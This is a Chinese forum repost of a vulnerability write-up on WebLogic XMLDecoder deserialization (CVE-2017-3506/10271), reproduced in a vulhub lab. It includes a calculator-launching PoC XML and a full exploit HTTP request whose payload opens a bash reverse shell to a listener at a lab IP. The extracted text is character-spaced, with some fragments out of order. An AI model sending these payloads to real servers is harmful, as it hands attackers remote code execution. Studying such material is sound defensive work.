搜索

[18229] 2020-12-12_WebLogic-XMLDecoder反序列化漏洞分析

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-18
2020-12-12_WebLogic-XMLDecoder反序列化漏洞分析 W e b L o g i c - X M L D e c o d e r 反 序 列 化 漏 洞 分 析 g h t w f 0 1   H A C K 之 道   2 0 2 0 - 1 2 - 1 2 X M L E n c o d e r & X M L D e c o d e r X M L D e c o d e r / X M L E n c o d e r   是 在 J D K 1 . 4 版 中 添 加 的   X M L   格 式 序 列 化 持 久 性 方 案 ， 使 用   X M L E n c o d e r   来 生 成 表 示   J a v a B e a n s   组 件 ( b e a n ) 的   X M L   文 档 ， 用   X M L D e c o d e r   读 取 使 用   X M L E n c o d e r   创 建 的 X M L 文 档 获 取 J a v a B e a n s 。 X M L E n c o d e r 例 子 代 码 如 下 p a c k a g e   g h t w f 0 1 . d e m o ; i m p o r t   j a v a x . s w i n g . * ; i m p o r t   j a v a . b e a n s . X M L E n c o d e r ; i m p o r t   j a v a . i o . B u f f e r e d O u t p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e N o t F o u n d E x c e p t i o n ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; p u b l i c   c l a s s   X m l E n c o d e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   F i l e N o t F o u n d E x c e p t i o n   {                 X M L E n c o d e r   e   =   n e w   X M L E n c o d e r ( n e w   B u f f e r e d O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " r e s u l t . x m l " ) ) ) ;                 e . w r i t e O b j e c t ( n e w   J B u t t o n ( " H e l l o , x m l " ) ) ;                 e . c l o s e ( ) ;         } } 序 列 化 了 J B u t t o n 类 ， 得 到 的 X M L 文 档 如 下
< ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < j a v a   v e r s i o n = " 1 . 8 . 0 _ 1 8 1 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >   < o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n " >     < s t r i n g > H e l l o , x m l < / s t r i n g >   < / o b j e c t > < / j a v a > X M L D e c o d e r 例 子 代 码 如 下 p a c k a g e   g h t w f 0 1 . d e m o ; i m p o r t   j a v a . b e a n s . X M L D e c o d e r ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   X m l E n c o d e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   F i l e N o t F o u n d E x c e p t i o n   {                 X M L D e c o d e r   d   =   n e w   X M L D e c o d e r ( n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( " r e s u l t . x m l " ) ) ) ;                 O b j e c t   r e s u l t   =   d . r e a d O b j e c t ( ) ;                 S y s t e m . o u t . p r i n t l n ( r e s u l t ) ;                 d . c l o s e ( ) ;         } } 使 用   X M L D e c o d e r   读 取 序 列 化 的   X M L   文 档 ， 获 取   J B u t t o n   类 并 打 印 输 出 X M L 标 签 、 属 性 介 绍 标 签 、 属 性 介 绍 s t r i n g 标 签 标 签 字 符 串 的 表 示 方 式 为 j a v a x . s w i n g . J B u t t o n [ , 0 , 0 , 0 x 0 , i n v a l i d , a l i g n m e n t X = 0 . 0 , a l i g n m e n t Y = 0 . 5 , b o r d e r = c o m . a p p l e . l a f . A q u a B u t t o n B o r d e r $ D y n a m i c @ 1 a 6 c 5 a 9 e , f l a g s = 2 8 8 , m a x i m u m S i z e = , m i n i m u m S i z e = , p r e f e r r e d S i z e = , d e f a u l t I c o n = , d i s a b l e d I c o n = , d i s a b l e d S e l e c t e d I c o n = , m a r g i n = j a v a x . s w i n g . p l a f . I n s e t s U I R e s o u r c e [ t o p = 0 , l e f t = 2 , b o t t o m = 0 , r i g h t = 2 ] , p a i n t B o r d e r = t r u e , p a i n t F o c u s = t r u e , p r e s s e d I c o n = , r o l l o v e r E n a b l e d = f a l s e , r o l l o v e r I c o n = , r o l l o v e r S e l e c t e d I c o n = , s e l e c t e d I c o n = , t e x t = H e l l o , x m l , d e f a u l t C a p a b l e = t r u e ] h e l l o , x m l < s t r i n g > H e l l o , x m l < / s t r i n g >
o b j e c t 标 签 标 签 通 过     标 签 表 示 对 象 ，     属 性 指 定 具 体 类 ( 用 于 调 用 其 内 部 方 法 ) ，   属 性 指 定 具 体 方 法 名 称 ( 比 如 构 造 函 数 的 的 方 法 名 为     )   对 应 的 文 档 : < o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n "   m e t h o d = " n e w " >         < s t r i n g > H e l l o , x m l < / s t r i n g > < / o b j e c t > v o i d 标 签 标 签 通 过     标 签 表 示 函 数 调 用 、 赋 值 等 操 作 ，     属 性 指 定 具 体 的 方 法 名 称 。   对 应 的 文 档 : < s t r i n g > H e l l o , x m l < / s t r i n g > < o b j e c t > c l a s s m e t h o d n e w n e w   J B u t t o n ( " H e l l o , x m l " ) X M L v o i d m e t h o d J B u t t o n   b   =   n e w   J B u t t o n ( ) ; b . s e t T e x t ( " H e l l o ,   w o r l d " ) ; X M L
< o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n " >         < v o i d   m e t h o d = " s e t T e x t " >         < s t r i n g > H e l l o , x m l < / s t r i n g >         < / v o i d > < / o b j e c t > a r r a y 标 签 标 签 通 过     标 签 表 示 数 组 ，     属 性 指 定 具 体 类 ， 内 部     标 签 的     属 性 表 示 根 据 指 定 数 组 索 引 赋 值 。   对 应 的 文 档 : < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " >         < v o i d   i n d e x = " 1 " >         < s t r i n g > H e l l o , x m l < / s t r i n g >     < / v o i d > < / a r r a y > X M L D e c o d e r 反 序 列 化 漏 洞 反 序 列 化 漏 洞 下 面 来 看 一 个 解 析 x m l 导 致 反 序 列 化 命 令 执 行 的 d e m o : a r r a y c l a s s v o i d i n d e x S t r i n g [ ]   s   =   n e w   S t r i n g [ 3 ] ; s [ 1 ]   =   " H e l l o , x m l " ; X M L
p a c k a g e   g h t w f 0 1 . d e m o ; i m p o r t   j a v a . b e a n s . X M L D e c o d e r ; i m p o r t   j a v a . i o . B u f f e r e d I n p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e I n p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e N o t F o u n d E x c e p t i o n ; p u b l i c   c l a s s   X m l D e c o d e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   F i l e N o t F o u n d E x c e p t i o n   {                 X M L D e c o d e r   d   =   n e w   X M L D e c o d e r ( n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( " / U s e r s / g h t w f 0 1 / p o c . x m l " ) ) ) ;                 O b j e c t   r e s u l t   =   d . r e a d O b j e c t ( ) ;                 d . c l o s e ( ) ;         } } p o c . x m l < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >         < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " >                 < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " >                         < v o i d   i n d e x = " 0 " >                                 < s t r i n g > / b i n / b a s h < / s t r i n g >                         < / v o i d >                         < v o i d   i n d e x = " 1 " >                                 < s t r i n g > - c < / s t r i n g >                         < / v o i d >                         < v o i d   i n d e x = " 2 " >                                 < s t r i n g > o p e n   - a   C a l c u l a t o r < / s t r i n g >                         < / v o i d >                 < / a r r a y >                 < v o i d   m e t h o d = " s t a r t " / > < / v o i d > < / j a v a >
使 用   j a v a . l a n g . P r o c e s s B u i l d e r   进 行 代 码 执 行 ， 整 个 恶 意   X M L   反 序 列 化 后 相 当 于 执 行 代 码 : S t r i n g [ ]   c m d   =   n e w   S t r i n g [ 3 ] ; c m d [ 0 ]   =   " / b i n / b a s h " ; c m d [ 1 ]   =   " - c " ; c m d [ 2 ]   =   " o p e n   / S y s t e m / A p p l i c a t i o n s / C a l c u l a t o r . a p p / " ; n e w   P r o c e s s B u i l d e r ( c m d ) . s t a r t ( ) ; W e b l o g i c - X M L D e c o d e r 漏 洞 复 现 漏 洞 复 现 v u l h u b 直 接 搭 建 环 境 ， 记 得 修 改 d o c k e r - c o m p o s e . y m l 为 如 下 e x p 如 下 v e r s i o n :   ' 2 ' s e r v i c e s :   w e b l o g i c :       i m a g e :   v u l h u b / w e b l o g i c       p o r t s :         -   " 7 0 0 1 : 7 0 0 1 "         -   " 8 4 5 3 : 8 4 5 3 " P O S T   / w l s - w s a t / C o o r d i n a t o r P o r t T y p e   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 4 5 : 7 0 0 1 C a c h e - C o n t r o l :   m a x - a g e = 0
U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 7 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n t e n t - t y p e :   t e x t / x m l C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   6 3 9 < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >   < s o a p e n v : H e a d e r > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " > < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " > < v o i d   i n d e x = " 0 " > < s t r i n g > / b i n / b a s h < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 1 " > < s t r i n g > - c < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 2 " > < s t r i n g > b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 5 0 . 1 4 5 / 4 4 4 4   0 > & 1 < / s t r i n g > < / v o i d > < / a r r a y > < v o i d   m e t h o d = " s t a r t " / > < / v o i d > < / j a v a > < / w o r k : W o r k C o n t e x t > < / s o a p e n v : H e a d e r > < s o a p e n v : B o d y / > < / s o a p e n v : E n v e l o p e >
这 里 要 注 意 要 设 置 为 ， 不 然 会 报 4 1 5 错 误 W e b l o g i c - X M L D e c o d e r 反 序 列 化 漏 洞 分 析 反 序 列 化 漏 洞 分 析 远 程 调 试 远 程 调 试 之 前 我 们 搭 建 环 境 的 时 候 已 经 修 改 了   d o c k e r - c o m p o s e . y m l   文 件 ， 添 加 了 远 程 调 试 端 口   8 4 5 3   映 射 进 入 容 器 ， 配 置 W e b l o g i c 开 启 远 程 调 试 : 修 改 ， 添 加 配 置 代 码 C o n t e n t - t y p e t e x t / x m l / r o o t / O r a c l e / M i d d l e w a r e / u s e r _ p r o j e c t s / d o m a i n s / b a s e _ d o m a i n / b i n / s e t D o m a i n E n v . s h d e b u g F l a g = " t r u e " e x p o r t   d e b u g F l a g
然 后 重 启 容 器 ， 再 从 d c o k e r 里 面 从 拷 W e b l o g i c 源 码 和 J D K 在   M i d d l e w a r e   目 录 下 提 取 全 部 的   j a r   、   w a r   包 到   l i b   目 录 将 O r a c l e / M i d d l e w a r e / w l s e r v e r _ 1 0 . 3   作 为 I D E A 项 目 打 开 ， 设 置 J D K 为 拷 出 来 的 ， 然 后 添 加 包 含   l i b   目 录 到 项 目 的   L i b r a r i e s d o c k e r   c p   6 9 2 3 9 4 a 4 5 a 3 8 : / r o o t   . / w e b l o g i c c d   / U s e r s / g h t w f 0 1 / D e s k t o p / g h t w f 0 1 / v u l h u b / w e b l o g i c / C V E - 2 0 1 7 - 1 0 2 7 1 / w e b l o g i c / O r a c l e / M i d d l e w a r e m k d i r   l i b f i n d   . /   - n a m e   " * . j a r "   - e x e c   c p   { }   . / l i b /   ; f i n d   . /   - n a m e   " * . w a r "   - e x e c   c p   { }   . / l i b /   ;
设 置   D E B U G   模 式 为   R e m o t e   ， 端 口 为 与   d o c k e r   映 射 出 去 相 同 的   8 4 5 3 现 在 就 可 以 使 用 d e b u g ， 如 果 控 制 台 输 出 则 说 明 配 置 成 功 C V E - 2 0 1 7 - 3 5 0 6 & C V E - 2 0 1 7 - 1 0 2 7 1 影 响 范 围 W e b L o g i c   1 0 . 3 . 6 . 0 W e b L o g i c   1 2 . 1 . 3 . 0 W e b L o g i c   1 2 . 2 . 1 . 0 W e b L o g i c   1 2 . 2 . 1 . 1 W e b L o g i c   1 2 . 2 . 1 . 2 和 均 是     反 序 列 化 漏 洞 ， C o n n e c t e d   t o   t h e   t a r g e t   V M ,   a d d r e s s :   ' 1 9 2 . 1 6 8 . 5 0 . 1 4 5 : 8 4 5 3 ' ,   t r a n s p o r t :   ' s o c k e t ' C V E - 2 0 1 7 - 3 5 0 6 C V E - 2 0 1 7 - 1 0 2 7 1 X M L D e c o d e r C V E - 2 0 1 7 - 3 5 0 6
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理